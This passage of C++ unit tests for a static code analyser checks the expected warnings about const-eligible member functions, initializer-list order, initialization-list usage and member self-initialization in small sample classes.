constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : 